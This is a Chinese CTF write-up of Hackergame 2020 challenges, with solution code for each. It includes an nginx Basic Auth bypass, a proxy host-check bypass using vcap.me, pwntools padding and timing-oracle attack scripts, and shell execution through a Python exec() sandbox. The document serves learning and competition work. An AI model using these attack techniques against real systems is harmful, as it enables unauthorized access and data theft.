Hackergame 2020(中科大信安赛)write up

又是一年 Hackergame,题目依然高质量,依然对萌新友好,各种梗也依然玩得飞起。

一如既往,主办方也在 GitHub 发布了 官方及选手 write up

超自动的开箱模拟器 200

想体验开箱的快乐吗?
这是一个开箱模拟器。当你输入「BF 开箱码」之后,程序会模拟 128 轮游戏,每轮你有 64 次开箱机会。
如果你 128 轮中每轮都能够在 64 次机会之内找到目标所在的箱子,那么你将会得到 flag。

只看题目不知所云,阅读源码后可以大概理清思路。128 个箱子内随机放着 1-128 的数字,如果打开箱子后,箱子内的数字与查找目标相同的话,本轮就开箱成功。而所谓的 BF 开箱码,其实就是 BrainFuck 代码。

题目可以分成两个要解决的问题,一个是要找出一种策略,能够在 64 次机会内找到目标所在的箱子,并连续成功 128 轮;另一个是要用 BrainFuck 实现这种策略。

这个开箱问题其实就是百囚徒问题(100 prisoners problem)。策略如下:若查找的目标为 n,先打开 n 号箱,然后不断根据箱子内部的数字打开下一个箱子,直到找到本轮的目标箱。根据这样的策略, 就有约 30% 的几率能够保证 128 轮开箱全部成功。

下一个问题就是要写出 BF 开箱码。BF 代码的名称就暗示了其编写难度,好在有人写了一个 C to BF 的编译器(arthaud/c2bf),直接编写(伪)C 代码编译即可。

int cur = 0;
while (true) {
	int next = read_char() - 1;
	if (cur < next) {
		int c = next - cur;
		// 优化一下,否则跑太慢会超时
		while (c > 20) {
			write_char(2);write_char(2);write_char(2);write_char(2);write_char(2);
			write_char(2);write_char(2);write_char(2);write_char(2);write_char(2);
			write_char(2);write_char(2);write_char(2);write_char(2);write_char(2);
			write_char(2);write_char(2);write_char(2);write_char(2);write_char(2);
			c = c - 20;
		}
		for (int i = 0; , i < c, i = i + 1; ) {
			write_char(2);
		}
	} else {
		int c = cur - next;
		while (c > 20) {
			write_char(1);write_char(1);write_char(1);write_char(1);write_char(1);
			write_char(1);write_char(1);write_char(1);write_char(1);write_char(1);
			write_char(1);write_char(1);write_char(1);write_char(1);write_char(1);
			write_char(1);write_char(1);write_char(1);write_char(1);write_char(1);
			c = c - 20;
		}
		for (int i = 0; , i < c, i = i + 1; ) {
			write_char(1);
		}
	}
	cur = next;
	write_char(3);
}

编译后的 BF 代码如下:

>+[>+[>,>+[<->-]<<<<[>>>>+>+<<<<<-]>>>>>[<<<<<+>>>>>-]<+<[>>+>+<<<-]>>>[<<<+>>>-]>+<<<[>>+<<-]>>[>-]>[><<<<+>[-]>>->]<+<<[>-[>-]>[><<<<+>[-]+>>->]<+<<-]>[-]>-<<+<[<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]<<<<<<<[>>>>>>>+>+<<<<<<<<-]>>>>>>>>[<<<<<<<<+>>>>>>>>-]<[<->-]+[<[>>+>+<<<-]>>>[<<<+>>>-]>++[<++++++++++>-]<>>+<<<[>>+<<-]>>[>-]>[><<<<+>[-]>>->]<+<<[>-[>-]>[><<<<+>[-]+>>->]<+<<-]>[-]>-<<<[>+<[-]]+>[<->-]<[>++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]++.[-]<<<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]>++[<++++++++++>-]<[<->-]<<<<[-]>>>[<<<+>>>-]<[-]<+>]<-]>+[<[>>+>+<<<-]>>>[<<<+>>>-]<+<<<[>>>>+>+<<<<<-]>>>>>[<<<<<+>>>>>-]>+<<<[>>+<<-]>>[>-]>[><<<<+>[-]>>->]<+<<[>-[>-]>[><<<<+>[-]+>>->]<+<<-]>[-]>-<<<[>++.[-]<<<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]+[<+>-]<<<<[-]>>>[<<<+>>>-]<[-]<+>]<-]<[-]<[-]<-<[-]]>[<<<<<[>>>>>>+>+<<<<<<<-]>>>>>>>[<<<<<<<+>>>>>>>-]<<<<[>>>>+>+<<<<<-]>>>>>[<<<<<+>>>>>-]<[<->-]+[<[>>+>+<<<-]>>>[<<<+>>>-]>++[<++++++++++>-]<>>+<<<[>>+<<-]>>[>-]>[><<<<+>[-]>>->]<+<<[>-[>-]>[><<<<+>[-]+>>->]<+<<-]>[-]>-<<<[>+<[-]]+>[<->-]<[>+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]+.[-]<<<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]>++[<++++++++++>-]<[<->-]<<<<[-]>>>[<<<+>>>-]<[-]<+>]<-]>+[<[>>+>+<<<-]>>>[<<<+>>>-]<+<<<[>>>>+>+<<<<<-]>>>>>[<<<<<+>>>>>-]>+<<<[>>+<<-]>>[>-]>[><<<<+>[-]>>->]<+<<[>-[>-]>[><<<<+>[-]+>>->]<+<<-]>[-]>-<<<[>+.[-]<<<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]+[<+>-]<<<<[-]>>>[<<<+>>>-]<[-]<+>]<-]<[-]<[-]<-]<<[>+>+<<-]>>[<<+>>-]<<<<<[-]>>>>[<<<<+>>>>-]+++.[-]<[-]<[-]<+>]<-]

由于该开箱策略能否成功基于箱子的初始状态,成功率并非 100%,多次提交获得 flag。

超精巧的数字论证器 200

数字论证是一种常见的定理证明方法。简单来说,就是对于给定的自然数,找出一个等值的表达式,如果该表达式去除所有符号部分后为字符串「114514」,则完成论证。表达式仅允许整数运算,可以使用括号、常见的代数运算符 +-*/% 和位运算符 ~^&|。表达式具体运算规则与 Python 2 语言类似。
一些数字论证的例子:
0 = (1/14514)
1 = (1%14514)
2 = (11&4514)
3 = (1+(14&514))
数字论证并不是一件容易的事情,你可以完成这个任务吗?
给定的自然数保证小于 114514。输入的表达式长度不可以超过 256 字符。

数字论证已经是一门成熟的技术了(确信),网上有许多现成的数字论证生成代码。找来修改了下运算符并运行,但发现能论证的数字基本都集中在几千以内,比较大的数字几乎都无法论证出。

但题目中有一句意义不明的话——输入的表达式长度不可以超过 256 字符。如果只是简单添加几个符号,表达式顶多几十个字符,根本不需要 256 字符那么长。只有一种符号可以大量添加,那就是一元运算符。

~114 = -115
~-114 = 113
-~114 = 115
~-~114 = -116
-~-114 = -113
~-~-114 = 112
-~-~114 = 116

通过大量使用 -(取负)、~(取反)这两个一元运算符,可以直接将数字转换为相邻的数字,大大增加了可以论证的数字范围。

基于这份前人的数字论证研究(在此表示感谢),修改出新的论证代码:

from functools import reduce
import itertools

invrange = 4

class Expression():
    maxValue = 1000000
    operators = ['*', '/', '%', '+', '-', '^', '&', '|']
    priority = {
        '*': 3,
        '/': 3,
        '%': 3,
        '+': 4,
        '-': 4,
        '&': 5,
        '^': 6,
        '|': 6,
    }
    operation = {
        '*': lambda a, b: a * b,
        '/': lambda a, b: a // b,
        '%': lambda a, b: a % b,
        '-': lambda a, b: a - b,
        '+': lambda a, b: a + b,
        '^': lambda a, b: a ^ b,
        '&': lambda a, b: a & b,
        '|': lambda a, b: a | b,
    }

    def __init__(self, value=0, exp='', priority=0):
        self.value = value
        self.exp = exp
        self.priority = priority


class Node():
    def __init__(self):
        self.expressions = {}

    def add_child(self, lnode, rnode):
        for lval, lexp in lnode.expressions.items():
            for rval, rexp in rnode.expressions.items():
                for opt in Expression.operators:
                    lstr = lexp.exp
                    rstr = rexp.exp
                    if rexp.value < 0 and opt == '**':
                        continue
                    if rexp.value == 0 and (opt == '/' or opt == '%'):
                        continue
                    optResult = Expression.operation[opt](
                        lval, rval)
                    if optResult > Expression.maxValue:
                        continue

                    if lexp.priority >= Expression.priority[opt]:
                        lstr = '(' + lstr + ')'
                    if rexp.priority >= Expression.priority[opt]:
                        rstr = '(' + rstr + ')'

                    self.expressions[optResult] = Expression(optResult, lstr + opt +
                                                             rstr, Expression.priority[opt])

                    s = '-(' + lstr + opt + rstr + ')'
                    val = -optResult
                    self.expressions[val] = Expression(val, s, 1)
                    
                    s = '~(' + lstr + opt + rstr + ')'
                    val = ~optResult
                    self.expressions[val] = Expression(val, s, 1)

                    for i in range(1, invrange + 1):
                        s = '-~' * i + '(' + lstr + opt + rstr + ')'
                        val = optResult
                        for j in range(i):
                            val = -~val
                        self.expressions[val] = Expression(val, s, 1)
                        self.expressions[~val] = Expression(~val, '~' + s, 1)

                    for i in range(1, invrange + 1):
                        s = '~-' * i + '(' + lstr + opt + rstr + ')'
                        val = optResult
                        for j in range(i):
                            val = ~-val
                        self.expressions[val] = Expression(val, s, 1)
                        self.expressions[-val] = Expression(-val, '-' + s, 1)



    def add_expression(self, expression):
        self.expressions[expression.value] = expression

def splitNumStr(digits):
    if len(digits) == 1:
        return [[digits]]
    result = []
    for i in range(1, len(digits)):
        left = digits[:i]
        right = digits[i:]
        rightList = splitNumStr(right)
        for c in rightList:
            cc = c
            cc.insert(0, left)
            result.append(cc)
    result.append([digits])
    return result

class SuujiRonshou():
    def __init__(self, digits="114514"):
        self.expressions = {}
        self.digitlist = splitNumStr(digits)
        print(self.digitlist)
        for digits in self.digitlist:
            if digits == ['1', '1', '4', '514']:
                invrange = 6
            elif len(digits) <= 4:
                invrange = 5
            elif len(digits) <= 5:
                invrange = 3
            else:
                invrange = 1
            print(digits)
            self.digits = digits
            self.generate()

    def generate(self):
        visitedNode = dict()

        def dfs(l, r):
            if (l, r) in visitedNode:
                return visitedNode[(l, r)]
            elif l > r:
                return None
            elif (l == r):
                d = self.digits[l]
                root = Node()
                root.add_expression(Expression(int(d), d, 0))
                # if l == 0:  # 第一个数可以为负数
                root.add_expression(Expression(-int(d), '-' + d, 0))
                root.add_expression(Expression(~int(d), '~' + d, 0))

                for i in range(1, invrange + 1):
                    s = '-~' * i
                    val = int(d)
                    for j in range(i):
                        val = -~val
                    root.add_expression(Expression(val, s + d, 0))
                    root.add_expression(Expression(~val, '~' + s + d, 0))

                for i in range(1, invrange + 1):
                    s = '~-' * i
                    val = int(d)
                    for j in range(i):
                        val = ~-val
                    root.add_expression(Expression(val, s + d, 0))
                    root.add_expression(Expression(-val, '-' + s + d, 0))

                visitedNode[(l, r)] = root
                return root
            else:
                root = Node()
                for mid in range(l, r):

                    lnode = dfs(l, mid)
                    rnode = dfs(mid + 1, r)
                    root.add_child(lnode, rnode)

                visitedNode[(l, r)] = root
                return root

        node = dfs(0, len(self.digits) - 1)
        # print(node.expressions)
        self.expressions = { **self.expressions, **node.expressions }

    def print_all(self, l, r):
        for i in range(l, r):
            print(i, self.find(i))

    def find(self, target):
        if target not in self.expressions:
            return "None"
        else:
            return self.expressions[target].exp


if __name__ == "__main__":
    solver = SuujiRonshou()
    solver.print_all(1, 114514 + 1)

运行等待生成出 1~114514 的数字论证表即可。

超简易的网盘服务器 200

小 C 同学正因为手边的这块购买了方才三个月的 64GB 银土顿炫酷至尊飞速闪存盘的损坏而苦恼着。
其实自从听说,隔壁寝室发生了因为室友破解加密硬盘而发生了一系列不可描述的事情,小 C 同学就一直在盘算着一个新的主意!
“上云!都 2020 年了,再不上云就要被时代抛弃了!”,小 C 在心中终于做出了这样的决定,“把钱交给「银土顿」,还不如交给「奇葩云」呢,好歹还有 50% 的SLA 保证”。小 C 是一个雷厉风行的同学,他飞速的打开了「奇葩云」的网站,验证学生身份,并购买了一台学生服务器。
登录了服务器后台的小 C 开始思考技术方案:“听说 h5ai 搭建云盘的方案是不错的 … 使用 Basic Auth 可以做访问控制,可以保护根目录下的文件不被非法的访问 … 等等,有一些文件是可以被分享的,需要一个 /Public 目录来共享文件!”
三分钟后,小 C 同学完成了网盘的搭建。他想:“空着总不好,先得在云盘上放点东西!”。犹豫片刻,他掏出了自己珍藏了三个月的 flag 并上传到了云盘的根目录。

题目地址 配置文件

先研究了一会 h5ai,发现 h5ai 有打包下载文件的功能。不过这个功能判断相当严格,会拒绝一切对父目录文件的下载请求。其实这也很合理,毕竟 h5ai 是比较成熟的程序了,应该不会有很严重的安全问题。

贴心的打包下载功能

题目还提供了 Dockerfilenginx.confDockerfile 里安装的软件版本似乎都比较新,也没有有用的 CVE。nginx.conf 中倒是看出了一些端倪:

server{
    root /var/www/html;
    index index.php index.html /_h5ai/public/index.php;

    location / {
        auth_basic "easy h5ai. For visitors, please refer to public directory at `/Public!`";
        auth_basic_user_file /etc/nginx/conf.d/htpasswd;
    }

    # 错误匹配了一切以 Public 开头的路径,如 Publicaaa
    location /Public {
        allow all;
        # 上面还有一个 index,难道有两份 h5ai?
        index /Public/_h5ai/public/index.php;
    }

    location ~ \.php$ {
             ...
    }
    ...
}

一开始想着怎么利用 /Publicaaa 之类的路径调用到根目录下的 h5ai,并没有什么成果。后来试着试着发现在拒掉 HTTP 基础认证后(浏览器按取消),竟然可以直接访问到根目录下的 /_h5ai/public/index.php。结合此前提到的打包下载功能,直接向该文件发送打包下载请求即可获取 flag。

nginx 的配置优先级很迷倒是早已有亲身体验,不过到最后还是没能理解这里到底发生了什么。莫非 basic_auth 被拒后又进了 location ~ .php$ 块?

赛后看到其他选手的分析,其实是 nginx 优先匹配了 location ~ ,也就是将该页面直接交给 php 进行解析,并不会进行基础认证。至于为什么浏览器会弹出基础认证窗口,是因为页面内调用的资源(如 css )触发了基础认证。

下次写 nginx 配置文件的时候一定要好好学习下文档(咕咕预警)。

超安全的代理服务器 350

在 2039 年,爆发了一场史无前例的疫情。为了便于在各地的同学访问某知名大学「裤子大」的网站进行「每日健康打卡」,小 C 同学为大家提供了这样一个代理服务。曾经信息安全专业出身的小 C 决定把这个代理设计成最安全的代理。

提示:浏览器可能会提示该 TLS 证书无效,与本题解法无关,信任即可。

题目地址:https://146.56.228.227/
sshoshoushou’yshou’ye首页
帮助中心

这道题用到了一个相对比较新的技术,HTTP/2 Server Push。在 HTTP/2 协议中,服务器可以把一些资源提前主动推送给客户端,提高客户端的使用体验。

Cloudflare 在一篇博客中推荐了几个 HTTP/2 的测试工具,我选用了 h2c 来接收 HTTP/2 Push,并用 curl 发送请求,一切看起来都如此可靠。

然后,我就浪费了两个小时。

h2c 不会输出 Server Push 请求体(Body),导致我以为 Server Push 的 location 字段是 Secret;curl 在开启了 verbose 后依然不会输出 proxy connect 的请求体,导致我一直没有发现 Secret 是错误的。

一怒之下,抄起支持 http2 模块的 node.js,自给自足:

process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;

const http2 = require('http2')

let clientSession = http2.connect('https://146.56.228.227/');
let req = clientSession.request({ [http2.constants.HTTP2_HEADER_PATH]: '/' });
clientSession.on('stream', (pushedStream, requestHeaders) => {
  pushedStream.on('push', (responseHeaders) => { });
  pushedStream.on('data', (chunk) => { 
    console.log(chunk.toString())
    let matches = chunk.toString().match(/secret: ([a-z0-9]+)/)
    if (!matches) {
      throw new Error('no secret')
    }
    connectProxy(matches[1]);
   });
});

const tls = require('tls')

function connectProxy(secret) {
  var clientSocket = tls.connect(443, '146.56.228.227', { rejectUnauthorized: false });
  clientSocket.on('connect', function() {
    clientSocket.write(
      'CONNECT ustc.edu.cn.vcap.me:8080 HTTP/1.1\r\n' + // 绕过域名验证
      'Secret: ' + secret + '\r\n\r\n');
    clientSocket.write(
      'GET / HTTP/1.1\r\n' + 
      'Host: 127.0.0.1:8080\r\n' +
      'Referer: 146.56.228.227\r\n\r\n');    
  })
  clientSocket.on('data', (data) => {
    console.log(data.toString().trim());
  });
}

HTTP/2 Server Push 的请求体包含了 Secret 和第一个 flag。VMWare 的 *.vcap.me 域名泛解析至 127.0.0.1,用其绕过域名验证,获取管理中心内的第二个 flag。

证验码 250

时间可以正向流动,也可以逆向流动,熵可以增加,也能够降低。

NETET 组织最近收到线报,地球上有一伙人找到了 shuffle 的逆函数,我们把这伙人称为 SHUFFLE 组织。技术团队分析了 SHUFFLE 组织的部分网络流量,其中的部分数据被经过了特殊处理,使其变成了人类无法阅读的顺序,但是 SHUFFLE 组织的人却似乎可以还原。

类似处理方法通常被人们称之为加密,但恐怖的是,SHUFFLE 仅仅使用了现有编程语言中自带的 shuffle 函数,如 Python 中的 random.shuffle(x),这既不需要共享知识,也没有密钥交换,数据的位置被随机打乱,并且因为其随机性,每次处理后的结果都不相同。

“等等……”,敏锐并且数理基础扎实的你打断了正在报告的同事,“shuffle 的输出是对称群 Sn 中某个置换作用在输入上的结果,这个置换可以是 Sn 中的任意元素,而且每个元素的概率相等,所以 shuffle 之后理论上就无法还原了”。

确实。这就是诡异的地方,比如 hello 可能被 shuffle 之后变成 lehol,原来的信息被随机打乱了。

“等等……”,敏锐并且数理基础扎实的你再次打断了正在报告的同事,“我起码知道原来的字符串的统计特征”。

正是。我们知道 「研表究明,汉字的序顺并不定一能影阅响读」,说不定 SHUFFLE 这一伙人正是掌握了这种技术————他们能在 shuffle 空间和正常空间随意翻转穿梭。但这对于我们来说简直是不可能实现的任务,比如字符串 「00001111」,shuffle 之后变成了 「01101001」,我们又怎么可能知道 shuffle 前的数据是什么呢?幸运的是……

“等等……”,敏锐并且数理基础扎实的你,刚准备打断正在报告的同事……

好好好,你啥都懂。我们找到了一个 SHUFFLE 的密码库,但重要情报被 shuffle 化了,破译小组还没有任何进展,我们逆向得到的生成验证码的代码也放在下边了,你行你上好吧。

题目地址
开启 shuffle 后

看到这个验证码输入方式笑喷了。试着手动输入了一波验证码,还真给了我 flag——只不过 flag 是 shuffle 过的。看来只能尝试识别 shuffle 过的验证码了。

结合题目不断给出的提示,验证码的字符放大,可以看到不同的字符都由不同数目的、不同灰度像素点构成。假如这个数字 8 中包含了 7 个颜色为 #b7b7b7 的像素点,6 个颜色为 #b6b6b6 的像素点(以及更多),而整张图片各灰度的像素点数目均大于数字 8 对应灰度的像素点数目,则这张验证码图片就可能含有数字 8。

按这样的思路写程序求解后,发现各种不同字符中相同灰度的像素相加在一起(以及还有干扰线的影响),不能通过简单的比较大小来判断验证码图片的字符组成。整个问题变成了线性回归问题。

又到了我很菜的算法环节了。好在有很多现成的库可以直接调用,只要将各像素点数目化为矩阵传入库求解即可。

一开始发现求出的字符数矩阵非常离谱,各种负数、小数。又好在 Hackergame 2019 有一道类似的题目,换成了推荐的 Lasso 算法后多次请求验证码即可成功求解。

import numpy as np
from PIL import ImageFont, ImageDraw, Image
import pathlib
import sys
import requests
from io import BytesIO
from sklearn import linear_model
# https://download.lfd.uci.edu/pythonlibs

import string
from random import SystemRandom
random = SystemRandom()

alphabets = sorted(string.digits + string.ascii_letters)

def img_generate(text):
    img = Image.new('RGB', (40 * len(text), 100), (255, 255, 255))
    # https://github.com/adobe-fonts/source-code-pro/raw/release/TTF/SourceCodePro-Light.ttf
    fontpath = pathlib.Path(__file__).parent.absolute().joinpath("SourceCodePro-Light.ttf")
    font = ImageFont.truetype(str(fontpath), 64)
    draw = ImageDraw.Draw(img)
    draw.text((0, 0), text, font = font, fill = (0,0,0,0))
    return img

def get_pixel_stat(img):
    pix = np.array(img)
    x, y, z = pix.shape
    t = pix.reshape(-1, z).tolist()
    rgb = [0] * 255
    for pixel in t:
        if pixel[0] == pixel[1] and pixel[1] == pixel[2] and pixel[0] != 255:
            rgb[pixel[0]] += 1   
    return rgb

if __name__ == "__main__":
    alphastatdb = [[] for i in range(len(alphabets))]
    for idx, alphabet in enumerate(alphabets):
        alphastatdb[idx] = get_pixel_stat(img_generate(alphabet))

    s = requests.Session()
    s.get('http://202.38.93.111:10150/?token=【选手token】')
    
    while True:
        s.get('http://202.38.93.111:10150/shuffle')
        response = s.get('http://202.38.93.111:10150/captcha_shuffled.bmp')
        i = Image.open(BytesIO(response.content))
        # i.save('captcha_web.bmp')

        imgstat = get_pixel_stat(i)

        X = np.array(alphastatdb)
        y = np.array([imgstat])

        regr = linear_model.Lasso(alpha=1, positive=True)
        regr.fit(X.T, y.T)
        print(regr.coef_)

        result = regr.coef_
        score = {}
        for idx, n in enumerate(result):
            score[alphabets[idx]] = n
        score = {k: v for k, v in sorted(score.items(), key=lambda item: item[1], reverse=True)}
        
        submit = []
        i = 0
        for a in score:
            rscore = round(score[a])
            if rscore > 0:
                submit.append('r_' + a + '=' + str(rscore))
                i += rscore
            if i >= 16:
                break
        submit = '&'.join(submit)
        print(submit)
        response = s.get('http://202.38.93.111:10150/result?' + submit)
        response = response.content.decode('utf-8')
        if '{' in response:
            print(response)
            break

中间人 750

为了避开 Eve 同学的干扰,某一天 Alice 悄悄找到了你,想让你帮忙传送一些加密消息给 Bob。当然,出于一些安全方面的考虑,Alice 想了几种方法在消息里加入了一些校验。

一道 AES-CBC(plain + hash + padding) 的题目,第一小问的 hash 使用了 sha-256,后两小问使用了自定义参数的 hmac-crc-128。本题中使用了 PKCS#7 padding ,并进行了严格的校验。一旦校验不通过,则 Bob 直接回复 “What’s your problem???”。

第一问让我想到了 0CTF 2017 的 integrity 一题(write up)。在本题中从 flag 末尾起逐字猜测 flag,并自行加上正确的 aes256 hash 及 padding,通过 Bob 的反馈来判断猜测是否正确,最终获得完整 flag。

from pwn import *
import time
from hashlib import sha256
from itertools import chain

printable = [10] + list(reversed(range(32, 128)))

def xor(b1, b2):
    return bytes([x ^ y for x, y in zip(b1, b2)])

HOST = '202.38.93.111'
PORT = 10041
p = remote(HOST, PORT)
print(p.recvuntil('Please input your token:'))
p.sendline('【选手token】')

# p = process(['python', 'entry.py'])

print(p.recvuntil('Which level do you want to play (1/2/3)?'))
p.sendline('1')

flag_len = 45
flag = ''

while len(flag) < flag_len:
    pos = len(flag) + 1
    msg = "Thanks " + " for taking my flag: "
    name = b"\xAA" * (16 - ((len(msg) + flag_len) % 16) + pos)
    prefix_len = len(msg) + len(name)
    for guess in printable:
        extra = sha256((chr(guess) + flag).encode()).digest()
        pad = 16 - ((prefix_len + flag_len) % 16) 
        extra += bytes([pad]) * pad

        p.recvuntil('Whom do you want to talk to?')
        p.sendline('Alice')
        p.sendline(name.hex())
        p.sendline(extra.hex())
        p.recvuntil('This is my encrypted message, please take it to Bob:\n')
        enc = bytes.fromhex(p.recvuntil('\n', drop=True).decode())
        
        start = 16 + prefix_len + flag_len - pos - 16
        end = start + 16 + pos + len(extra)
        assert start % 16 == 0
        assert end % 16 == 0
        enc = enc[start: end]
        p.recvuntil('Whom do you want to talk to?')
        p.sendline('Bob')
        p.recvuntil('Show me your message from Alice:')
        p.sendline(enc.hex())
        result = p.recvuntil('\n', drop=True).decode()
        print(chr(guess), result)
        if 'Thanks' in result:
            break
        elif 'problem' in result:
            continue
        else:
            raise Exception("server returns: " + result)
    flag = chr(guess) + flag
    print(flag)

第二、三小问则换用了随机密钥的 hmac-crc-128 作为校验码,似乎是一道数学题。只发现 hmac-crc(a ^ b ^ c) = hmac-crc(a) ^ hmac-crc(b) ^ hmac-crc(c) 这一规律,但似乎无法直接使用。第三问还限制中间人不能修改 IV,感觉更无头绪。

不过之前提到本题中 padding 进行了严格校验。一旦校验失败,Bob 将直接返回错误信息。另外本题中的 hmac-crc 算法是在 python 中实现的,因此效率不是非常高,可以基于解密流程的耗时进行攻击。应该是非预期解法了,不过看到好多选手都是 2、3 问同时提交的,总感觉其他选手可能也在使用这个方法(。

将要猜测的字节放到 padding 最后一位,并通过上一段密文进行控制。如果猜测正确,则 padding 为 0x01,进入后续的 hmac-crc 算法后返回异常(耗时较长);如果猜测错误,则 padding 校验环节直接返回异常(耗时较短)。

from pwn import *
import time
import numpy as np

printable = range(32, 128)

def xor(b1, b2):
    return bytes([x ^ y for x, y in zip(b1, b2)])


def crack(p, pos):
    print(p.recvuntil('Whom do you want to talk to?'))
    p.sendline('Alice')
    msg = "Thanks " + " for taking my flag: "
    # 延长服务端计算 CRC-128 时间
    name = b'\xAA' * (16 - len(msg) % 16) + b'\xAA' * (16 * 1024 - pos)
    # pos = 1 -> 确保flag第1字节在块末尾(len(msg) % 16 = 15)
    extra = b'\xAA' * (16 * 2048 - len(name))
    p.sendline(name.hex())
    p.sendline(extra.hex())
    print(p.recvuntil('This is my encrypted message, please take it to Bob:\n'))
    enc = bytes.fromhex(p.recvuntil('\n', drop=True).decode())

    prefix_len = len(msg) + len(name)
    assert (prefix_len + pos) % 16 == 0
    extra_iv = enc[prefix_len + pos - 16: prefix_len + pos]
    extra_block = enc[prefix_len + pos: prefix_len + pos + 16]


    timedb = { }
    for i in range(10):
        print('round', i)
        for guess in printable:
            if guess not in timedb:
                timedb[guess] = []
            new_extra_iv = extra_iv[:-1] + bytes([extra_iv[15] ^ guess ^ 0x1])
            p.recvuntil('Whom do you want to talk to?')
            p.sendline('Bob')
            p.recvuntil('Show me your message from Alice:')
            p.send(enc.hex() + new_extra_iv.hex() + extra_block.hex())
            start_time = time.time()
            p.send('\n')
            p.recvuntil('\n', drop=True)
            t = time.time() - start_time
            timedb[guess].append(t)
            # print("--- %s seconds ---" % (t))

    max_chr = ''
    max_time = 0
    for guess in timedb:
        mid = min(timedb[guess])
        if mid > max_time:
            max_chr = chr(guess)
            max_time = mid
            print(max_chr, max_time)
    return max_chr

HOST = '202.38.93.111'
PORT = 10041
p = remote(HOST, PORT)
print(p.recvuntil('Please input your token:'))
p.sendline('【选手token】')

print(p.recvuntil('Which level do you want to play (1/2/3)?'))
p.sendline('2') // or 3

ret = ''
for pos in range(len(ret) + 1, 70):
    ret = ret + crack(p, pos)
    print(ret)

从零开始的火星文生活 150

一年一度的 Hackergame 就要到了,L 同学打算叫上 Q 同学一起去参加,却一连几天都见不到 Q 同学的人影。然而在比赛开始的前一天晚上却收到了来自 Q 同学的邮件:

Subject: 绝密!不要外传!!!
Body: 详情见附件
From: Q

L 同学打开附件一看,傻眼了,全都是意义不明的汉字。机智的 L 同学想到 Q 同学平时喜欢使用 GBK 编码,也许是打开方式不对。结果用 GBK 打开却看到了一堆夹杂着日语和数字的火星文……L 同学彻底懵逼了,几经周折,TA 找到了科大最负盛名的火星文专家 (你)。依靠多年的字符编码解码的经验,你可以破译 Q 同学发来的火星文是什么意思吗?
注:正确的 flag 全部由 ASCII 字符组成!

二进制方式打开文件,显然是 UTF-8 编码的一串文字。然而尝试了几个简单的编码转换后依然像 L 同学一样一脸懵逼。

试试将这些乱码丢入搜索引擎吧!简单搜索后,发现网上确实有一些类似的乱码。此时可以基本断定这是实际生活中会出现的错误转码。

最后视线转回题干,发现 “GBK 编码” 几个字被加粗了,开始重点使用 GBK 相关编码转换尝试。最终经过各种折腾及编码特征搜索,发现进行 UTF-8 解码 -> GBK 编码 -> UTF-8 解码 -> (ISO-8859-1 Latin-1 编码) -> GBK 解码 可成功获得原文。

超简单的世界模拟器 250

你知道生命游戏(Conway’s Game of Life)吗?
你的任务是在生命游戏的世界中,复现出蝴蝶扇动翅膀,引起大洋彼岸风暴的效应。
通过改变左上角 15×15 的区域,在游戏演化 200 代之后,如果被特殊标注的正方形内的细胞被“清除”,你将会得到对应的 flag:
“清除”任意一个正方形,你将会得到第一个 flag。同时“清除”两个正方形,你将会得到第二个 flag。
注: 你的输入是 15 行文本,每行由 15 个 0 或者 1 组成,代表该区域的内容。

没想到会在 CTF 玩到 Game of Life

查阅百科可以了解 Game of Life 的运作规则,并获得一些常见的图样。要消除右上角的细胞,选取一个会不断向右移动的图样即可。这里选取了 Spaceship 图样,拿到第一个 Flag。

但要消除右下方的块,似乎有些困难。尝试放置了一个会往右下方移动的图样,然而即使放在最合适的位置,依然无法接触到右下方的细胞。

艺术就是爆炸!于是在网上搜寻有没有能够大量繁殖的图样,最终找来了一个称作 R-Pentomino 的图样。将其多次翻转及移动位置后,结合 Spaceship 成功消除了两处细胞。

自复读的复读机 300

能够复读其他程序输出的程序只是普通的复读机。
顶尖的复读机还应该能复读出自己的源代码。
什么是国际复读机啊(战术后仰)
你现在需要编写两个只有一行 Python 代码的顶尖复读机:
> 其中一个要输出代码本身的逆序(即所有字符从后向前依次输出)
> 另一个是输出代码本身的 sha256 哈希值,十六进制小写
满足两个条件分别对应了两个 flag。
快来开始你的复读吧~

初看似乎又是一道很烧脑的题目… 不过注意到第二问——要让代码能够输出自身的 sha256 值——在代码无法读取到自身的情况下,这似乎是不可能完成的任务。因此,先将目光聚焦到如何能够让代码读取到自身。

注意到题目中用的是 python 的 exec 命令,而不是 evaleval 只能拿来执行表达式,而 exec 则可以用来执行代码。先看看是否有权执行系统命令吧。

提交 import os; os.system('ls'),成功列出目录,并找到了题目文件 checker.py

import subprocess
import hashlib

if __name__ == "__main__":
    code = input("Your one line python code to exec(): ")
    print()
    if not code:
        print("Code must not be empty")
        exit(-1)
    p = subprocess.run(
        ["su", "nobody", "-s", "/bin/bash", "-c", "/usr/local/bin/python3 /runner.py"],
        input=code.encode(),
        stdout=subprocess.PIPE,
    )
    
    if p.returncode != 0:
        print()
        print("Your code did not run successfully")
        exit(-1)
        
    output = p.stdout.decode()
    
    print("Your code is:")
    print(repr(code))
    print()
    print("Output of your code is:")
    print(repr(output))
    print()
    
    print("Checking reversed(code) == output")
    if code[::-1] == output:
        print(open("/root/flag1").read())
    else:
        print("Failed!")
    print()
    
    print("Checking sha256(code) == output")
    if hashlib.sha256(code.encode()).hexdigest() == output:
        print(open("/root/flag2").read())
    else:
        print("Failed!")
      

一眼望去,似乎直接读取 runner.py 就能获得用户提交的代码了?可惜 runner.py 只包含了一句:exec(input()),而用户输入的代码是通过 subprocess.run 的 input 参数中传入的,无法简单获取。

不过,虽然我们无法直接获取自身的代码,但我们可以将要执行的代码赋值给一个变量 code,然后自己调用 exec。调用时,我们将 code 作为变量主动传入。

code="[内部代码]";exec(code,{},{'code':code})

接着在内部利用传入的变量 code ,构建出完整的代码,赋值给 mycode

code="mycode='code='+chr(34)+code.replace('\\\\','\\\\\\\\')+chr(34)+';exec(code,{},{\\'code\\':code})';print([为所欲为])";exec(code,{},{'code':code})

此时 mycode 变量就是我们输入的代码自身了。现在,无论是要对自身代码倒序输出还是计算 sha256,都可以为所欲为了~

